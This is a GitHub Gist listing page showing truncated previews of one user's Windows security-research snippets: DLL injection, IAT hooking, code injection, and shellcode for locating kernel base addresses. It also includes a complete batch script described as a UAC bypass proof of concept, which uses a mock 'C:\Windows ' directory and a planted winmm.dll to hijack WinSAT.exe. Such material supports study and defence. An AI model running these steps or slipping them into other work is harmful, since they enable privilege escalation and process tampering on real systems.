Skip to content

Instantly share code, notes, and snippets.

#include <Windows.h>
#include <cassert>
int
main(int argc, char **argv)
{
(void)argc;
(void)argv;
// التعليمات مولّدة من هذا الكود:
@Barakat
Barakat / injector.cpp
Created July 13, 2018 20:08
DLL Injection via CreateRemoteThread
// أداة الحقن
#include <Windows.h>
#include <cassert>
int
main(int argc, char** argv)
{
(void)argc;
(void)argv;
@Barakat
Barakat / iat-hook.cpp
Last active July 22, 2018 10:41
Import Address Table hook
// مثال لخطف دالة عن طريق استبدال عنوانها في جدول عناوين الدوال المستوردة
// https://twitter.com/barakatsoror/status/1020710139475759105
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
#include <cassert>
#include <winnt.h>
#include <cstring>
#include <cwchar>
@Barakat
Barakat / kill-msi-logo-leds.cpp
Last active July 28, 2018 16:20
Kill MSI logo LEDs in MSI GTX 980 Ti Graphics Card
#include <Windows.h>
typedef bool (__stdcall *NDA_SetIlluminationParm_t)(int adapter_index, int attribute, int value);
typedef bool (__stdcall *NDA_GetIlluminationParm_t)(int adapter_index, int attribute, int *value);
typedef bool (__stdcall *NDA_GetGPUCounts_t)(int *gpu_count);
typedef bool (__stdcall *NDA_Initialize_t)();
typedef bool (__stdcall *NDA_Unload_t)();
int
main()
@Barakat
Barakat / code.c
Last active August 14, 2018 04:04
Decompile C++ into C
#include <stdio.h>
typedef struct _Object
{
int x;
int y;
} Object;
void
@Barakat
Barakat / alloc-executable-memory.cpp
Created November 11, 2018 16:37
Allocate executable memory by creating a memory section with CreateFileMapping and MapViewOfFile
#include <windows.h>
#include <cinttypes>
int main()
{
static uint8_t code[] = {
0x90, // nop
0x90, // nop
0xc3 // ret
};
@Barakat
Barakat / launcher.bat
Last active July 27, 2023 13:00
UAC bypass complete POC
cl /MT /LD winmm.c User32.lib Advapi32.lib
mkdir "\\?\C:\Windows "
mkdir "\\?\C:\Windows \System32"
copy "C:\Windows\System32\WinSAT.exe" "C:\Windows \System32\"
copy "winmm.dll" "C:\Windows \System32\"
"C:\Windows \System32\WinSAT.exe"
@Barakat
Barakat / injector.cpp
Created November 18, 2018 08:31
Code injection using shared sections
#include <Windows.h>
#include <ntdef.h>
#include <cstdint>
#include <cassert>
#include <cstring>
#include <cstdio>
typedef enum
{
@Barakat
Barakat / shellcode.cpp
Last active December 26, 2018 19:27
Locating KERNEL32.DLL base address shellcode for x86 and x64 using C++
#include <Windows.h>
#include <winternl.h>
#include <cassert>
__declspec(dllexport)
__declspec(noinline)
void*
__stdcall
GetKernel32BaseAddress()
@Barakat
Barakat / kernel-shellcode.cpp
Created December 27, 2018 19:55
Windows x64 shellcode for locating the base address of ntoskrnl.exe
#include <wdm.h>
__declspec(dllexport)
__declspec(noinline)
void*
GetNtoskrnlBaseAddress()
{
//
// From Windows Internals part 1, chapter 2:
//